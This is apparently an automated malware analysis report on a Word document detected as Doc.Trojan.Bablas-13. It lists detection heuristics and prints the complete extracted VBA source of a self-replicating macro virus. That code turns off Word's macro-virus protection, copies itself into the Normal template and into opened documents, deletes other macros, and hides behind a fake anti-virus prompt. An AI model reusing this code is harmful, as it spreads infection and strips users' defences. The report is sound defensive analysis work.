MALICIOUS
256
Risk Score
Malware Insights
MITRE ATT&CK
T1059.005 Visual Basic
T1566.001 Spearphishing Attachment
The sample is a malicious Word document containing VBA macros, specifically triggering AutoOpen and Auto_Close events. The VBA code attempts to disable macro security features and presents a fake input box to the user, likely for credential harvesting. The presence of legacy WordBasic markers and the ClamAV detection name 'Doc.Trojan.Bablas-13' strongly suggest this family.
Heuristics 6
-
ClamAV: Doc.Trojan.Bablas-13 critical CLAMAV_DETECTIONClamAV detected this file as malware: Doc.Trojan.Bablas-13
-
VBA macros detected medium 3 related findings OLE_VBA_MACROSDocument contains VBA macro code
-
VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATIONVBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.Matched line in script
Options.VirusProtection = False -
AutoOpen macro low OLE_VBA_AUTOOPENAutoOpen macroMatched line in script
Sub AutoOpen() -
Auto_Close macro low OLE_VBA_AUTOCLOSEAuto_Close macroMatched line in script
Sub AutoClose() -
Legacy WordBasic macro-virus markers high OLE_LEGACY_WORDBASIC_MACRO_VIRUSOLE Word document contains legacy WordBasic auto-execution macro markers such as AutoOpen plus ToolsMacro/MacroFile/fileMacro/globMacro or named historical macro-virus strings. These old Word 6/95 macro forms are not exposed as a modern VBA project, so normal VBA source extraction can miss them.
Extracted artifacts 1
Files carved from inside the sample during analysis.
| Filename | Kind | Source | Size |
|---|---|---|---|
macros.bas |
vba-macro | oletools.olevba.extract_macros (decoded VBA source) | 4169 bytes |
SHA-256: 742fa8fa4304d5c7eaf45c07786c6c22e5dc390a6e19093ba40bd48c934597f2 |
|||
|
Detection
ClamAV:
Doc.Trojan.Bablas-13
Obfuscation or payload:
unlikely
|
|||
Preview scriptFirst 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Attribute VB_Name = "FIQRI"
Sub PassAway()
Options.SaveNormalPrompt = False
Options.VirusProtection = False
Options.SavePropertiesPrompt = False
End Sub
Sub ToolsMacro()
OpenMyMacro
End Sub
Sub ViewVbCode()
ToolsMacro
End Sub
Sub FileTemplates()
ToolsMacro
End Sub
Sub ToolsOptions()
Options.SaveNormalPrompt = True
Options.SavePropertiesPrompt = True
Options.VirusProtection = True
On Error Resume Next
Dialogs(wdDialogToolsOptions).Show
PassAway
End Sub
Sub OpenMyMacro()
Msg = "MEMPERKENALKAN Anti Virus Macro FIQRI" & Chr(13)
Msg = Msg & "untuk perlindungan file MS-WORD 97 dari virus yang mematikan" & Chr(13) & Chr(13)
Msg = Msg & "dimodifikasi oleh SAPRUDIN [ M. Fiqri Aulia's Father ]" & Chr(13)
Msg = Msg & "call -----> (0254)- 210061" & Chr(13) & Chr(13) & Chr(13)
Msg = Msg & "SELAMAT MENGGUNAKAN"
If InputBox(Msg, "M. FIQRI AULIA") = "NIDU" Then
Application.ShowVisualBasicEditor = True
End If
End Sub
Sub SaveDocument()
Dim DocOk As Boolean
DocOk = False
On Error Resume Next
For Each Obj In ActiveDocument.VBProject.VBComponents
If Obj.Name = "FIQRI" Then DocOk = True
If Obj.Name <> "FIQRI" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Hapus " + Obj.Name + _
" Macro pada " + ActiveDocument.Name + "..."
Application.OrganizerDelete Source:=ActiveDocument.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If DocOk = False Then
Application.OrganizerCopy Source:=NormalTemplate.FullName, _
Destination:=ActiveDocument, Name:="FIQRI", Object:=wdOrganizerObjectProjectItems
End If
End Sub
Sub SaveTemplate()
Dim NorOk As Boolean
NorOk = False
On Error Resume Next
For Each Obj In NormalTemplate.VBProject.VBComponents
If Obj.Name = "FIQRI" Then NorOk = True
If Obj.Name <> "FIQRI" And Obj.Name <> "ThisDocument" Then
Application.StatusBar = "Hapus " + Obj.Name + _
" Macro Pada Normal Template..."
Application.OrganizerDelete Source:=NormalTemplate.FullName, _
Name:=Obj.Name, Object:=wdOrganizerObjectProjectItems
End If
Next Obj
If NorOk = False Then
Application.OrganizerCopy Source:=ActiveDocument.FullName, _
Destination:=NormalTemplate.FullName, Name:="FIQRI", Object:=wdOrganizerObjectProjectItems
Application.DisplayRecentFiles = False
Application.DisplayRecentFiles = True
End If
End Sub
Sub AutoExit()
Application.Quit
End Sub
Sub FileOpen()
WordBasic.DisableAutoMacros True
On Error Resume Next
If Dialogs(wdDialogFileOpen).Show <> 0 Then
SaveDocument
ActiveDocument.Save
End If
WordBasic.DisableAutoMacros False
End Sub
Sub AutoOpen()
PassAway
SaveTemplate
On Error Resume Next
NormalTemplate.Save
End Sub
Sub AutoClose()
SaveDocument
End Sub
Sub FileClose()
AutoClose
End Sub
Sub FileSave()
If ActiveDocument.Saved = False Then
SaveDocument
SaveTemplate
On Error Resume Next
ActiveDocument.Save
ActiveDocument.Saved = True
End If
End Sub
Sub KillMacro()
C = Documents.Count
If C <> 0 Then
Normal.FIQRI.SaveDocument
WordBasic.DisableAutoMacros False
On Error Resume Next
If ActiveDocument.Name <> "Document1" Then ActiveDocument.Save
Else: Application.OnTime Now + TimeValue("00:00:07"), "Normal.FIQRI.KillMacro"
End If
End Sub
Sub AutoExec()
Passwrd = False
WordBasic.DisableAutoMacros True
PassAway
Application.OnTime Now + TimeValue("00:00:07"), "Normal.FIQRI.KillMacro"
End Sub
|
|||
Open this report in the interactive analyzer, or submit your own file for analysis.